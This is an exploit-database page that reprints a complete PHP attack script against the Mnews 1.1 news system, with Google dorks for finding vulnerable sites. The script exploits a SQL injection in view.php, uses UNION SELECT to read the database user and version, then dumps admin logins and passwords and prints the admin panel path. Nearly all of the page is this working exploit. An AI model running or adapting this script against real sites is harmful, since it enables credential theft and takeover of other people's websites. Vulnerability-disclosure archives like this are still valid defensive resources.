Lucene search
K

Mnews <= 1.1 (view.php) SQL Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

Mnews 1.1 SQL Injection in view.ph

Code

                                                ?&#60;?php
/*
# Exploit Title: Mnews &#60;= 1.1 SQL Injection
# Google Dork: inurl:mnews/view.php
# Google Dork: intitle:&#34;Mnews sistena de news&#34;
# Date: 03rd 06 2012
# Software Link: http://phpbrasil.com/script/eo4aWVV_zFd/mnews-sistema-de-noticias
# Version: 1.1
# Tested on: Debian GNU/Linux,Windows 7 Ultimate

Example:
$ php mnews.php http://target.com/scripts/mnews/

*/

error_reporting(E_ERROR);
set_time_limit(0);
@ini_set(&#34;default_socket_timeout&#34;, 30);
 
function hex($string){
    $hex=&#39;&#39;; // PHP &#39;Dim&#39; =]
    for ($i=0; $i &#60; strlen($string); $i++){
        $hex .= dechex(ord($string[$i]));
    }
    return &#39;0x&#39;.$hex;
}


echo &#34;\nMnews &#60;= 1.1 SQL Injection exploit\n&#34;;
echo &#34;Discovered and written by WhiteCollarGroup\n&#34;;
echo &#34;www.wcgroup.host56.com - [email protected]\n\n&#34;;

if($argc!=2) {
	echo &#34;Usage: \n&#34;;
	echo &#34;php $argv[0] &#60;target url&#62;\n&#34;;
	echo &#34;Example:\n&#34;;
	echo &#34;php $argv[0] http://www.website.com/mnews\n&#34;;
	exit;
}

$target = $argv[1];
if(substr($target, (strlen($target)-1))!=&#34;/&#34;) {
	$target .= &#34;/&#34;;
}
$inject = $target . &#34;view.php?id=-0&#39;%20&#34;;

$token = uniqid();
$token_hex = hex($token);

echo &#34;[*] Trying to get informations...\n&#34;;
$infos = file_get_contents($inject.urlencode(&#34;union all select 1,concat(&#34;.$token_hex.&#34;, user(), &#34;.$token_hex.&#34;, version(), &#34;.$token_hex.&#34;),3,4,5-- &#34;));
$infos_r = array();
preg_match_all(&#34;/$token(.*)$token(.*)$token/&#34;, $infos, $infos_r);
$user = $infos_r[1][0];
$version = $infos_r[2][0];
if($user) {
	echo &#34;[*] MySQL version: $version\n&#34;;
	echo &#34;[*] MySQL user: $user\n&#34;;
} else {
	echo &#34;[-] Error while getting informations.\n&#34;;
}

echo &#34;[*] Getting users...\n&#34;;
$i = 0;
while(true) {
	$dados_r = array();
	$dados = file_get_contents($inject.urlencode(&#34;union all select 1,concat(&#34;.$token_hex.&#34;, login, &#34;.$token_hex.&#34;, senha, &#34;.$token_hex.&#34;),3,4,5 from admin limit $i,1-- &#34;));
	preg_match_all(&#34;/$token(.*)$token(.*)$token/&#34;, $dados, $dados_r);
	$login = $dados_r[1][0];
	$senha = $dados_r[2][0];
	if(($login) AND ($senha)) {
		echo &#34;-+-\n&#34;;
		echo &#34;User: $login\n&#34;;
		echo &#34;Pass: $senha\n&#34;;
	} else {
		break;
	}
	$i++;
}

echo &#34;-+-+-\n&#34;;
if($i!=0) {
	echo &#34;[!] Admin login: {$target}gerencia/\n&#34;;
} else {
	echo &#34;[-] Exploit failed. Make sure that&#39;s server is using a valid version of Mnews without Apache mod_security.\nWe&#39;re sorry.&#34;;
}
echo &#34;\n&#34;;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
16